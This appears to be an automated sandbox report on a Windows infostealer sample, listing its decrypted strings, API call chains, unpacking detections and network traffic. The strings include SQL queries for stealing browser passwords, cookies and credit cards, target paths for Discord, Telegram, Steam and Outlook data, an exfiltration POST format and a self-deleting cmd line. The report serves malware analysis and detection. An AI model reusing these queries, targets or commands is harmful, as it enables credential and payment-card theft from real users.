Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: encrypted_key
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: PATH
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: NSS_Init
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: NSS_Shutdown
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: PK11_FreeSlot
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: PK11_Authenticate
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: C:\ProgramData\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: browser:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: profile:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: url:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: login:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: password:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Opera
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: OperaGX
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Network
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: cookies
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: .txt
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: TRUE
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: FALSE
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: autofill
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: history
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: cc
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: name:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: month:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: year:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: card:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Cookies
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Login Data
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Web Data
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: History
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: logins.json
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: formSubmitURL
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: usernameField
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: encryptedUsername
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: encryptedPassword
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: guid
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: cookies.sqlite
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: formhistory.sqlite
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: places.sqlite
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: plugins
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Local Extension Settings
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Sync Extension Settings
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: IndexedDB
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Opera Stable
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Opera GX Stable
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: CURRENT
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: chrome-extension_
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Local State
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: profiles.ini
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: chrome
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: opera
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: firefox
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: wallets
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: ProductName
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: x32
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: x64
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: DisplayName
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: DisplayVersion
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Network Info:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - IP: IP?
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Country: ISO?
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: System Summary:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - HWID:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - OS:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Architecture:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - UserName:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Computer Name:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Local Time:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - UTC:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Language:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Keyboards:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Laptop:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Running Path:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - CPU:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Threads:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Cores:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - RAM:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - Display Resolution:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: - GPU:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: User Agents:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Installed Apps:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: All Users:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Current User:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Process List:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: system_info.txt
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: freebl3.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: mozglue.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: msvcp140.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: nss3.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: softokn3.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: vcruntime140.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: \Temp\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: .exe
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: runas
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: open
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: /c start
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: %DESKTOP%
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: %APPDATA%
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: %USERPROFILE%
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: %DOCUMENTS%
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: %RECENT%
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: *.lnk
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: files
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: \discord\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: \Telegram Desktop\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: key_datas
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: map*
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Telegram
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Tox
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: *.tox
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: *.ini
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Password
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: 00000001
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: 00000002
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: 00000003
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: 00000004
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Pidgin
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: \.purple\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: accounts.xml
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: token:
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Software\Valve\Steam
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: SteamPath
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: \config\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: ssfn*
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: config.vdf
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: DialogConfig.vdf
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: libraryfolders.vdf
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: loginusers.vdf
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: \Steam\
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: sqlite3.dll
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: done
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: soft
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: https
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: POST
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: HTTP/1.1
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: hwid
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: build
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: token
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: file_name
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: file
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: message
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00404C50 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,VirtualAlloc,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,	2_2_00404C50
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004060D0 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,GetProcessHeap,HeapAlloc,lstrlenA,memcpy,lstrlenA,lstrlenA,memcpy,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,	2_2_004060D0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00416AA0 lstrcpy,SHGetFolderPathA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,LocalAlloc,strtok_s,lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,strtok_s,lstrlenA,lstrcpy,memset,	2_2_00416AA0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00409B80 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	2_2_00409B80
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00416CB9 lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,strtok_s,lstrlenA,lstrcpy,memset,	2_2_00416CB9
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004242C0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	2_2_004242C0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00407750 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	2_2_00407750
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00409B20 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00409B20
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0040EB80 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,lstrcatA,PK11_FreeSlot,lstrcatA,	2_2_0040EB80
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C106C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6C106C80
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C25A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	2_2_6C25A9A0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C224420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	2_2_6C224420
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C254440 PK11_PrivDecrypt,	2_2_6C254440
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2544C0 PK11_PubEncrypt,	2_2_6C2544C0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2A25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	2_2_6C2A25B0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C238670 PK11_ExportEncryptedPrivKeyInfo,	2_2_6C238670
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C25A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	2_2_6C25A650
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C23E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	2_2_6C23E6E0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C27A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	2_2_6C27A730

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Unpacked PE file: 0.2.IeccNv7PP6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Unpacked PE file: 2.2.795F.tmp.exe.400000.0.unpack

Source: IeccNv7PP6.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.179.207:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.4:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49904 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 795F.tmp.exe, 00000002.00000002.2415115579.000000006C16D000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr
Source:	Binary string: nss3.pdb@ source: 795F.tmp.exe, 00000002.00000002.2415494564.000000006C32F000.00000002.00000001.01000000.00000010.sdmp, nss3[1].dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr
Source:	Binary string: nss3.pdb source: 795F.tmp.exe, 00000002.00000002.2415494564.000000006C32F000.00000002.00000001.01000000.00000010.sdmp, nss3[1].dll.2.dr
Source:	Binary string: mozglue.pdb source: 795F.tmp.exe, 00000002.00000002.2415115579.000000006C16D000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

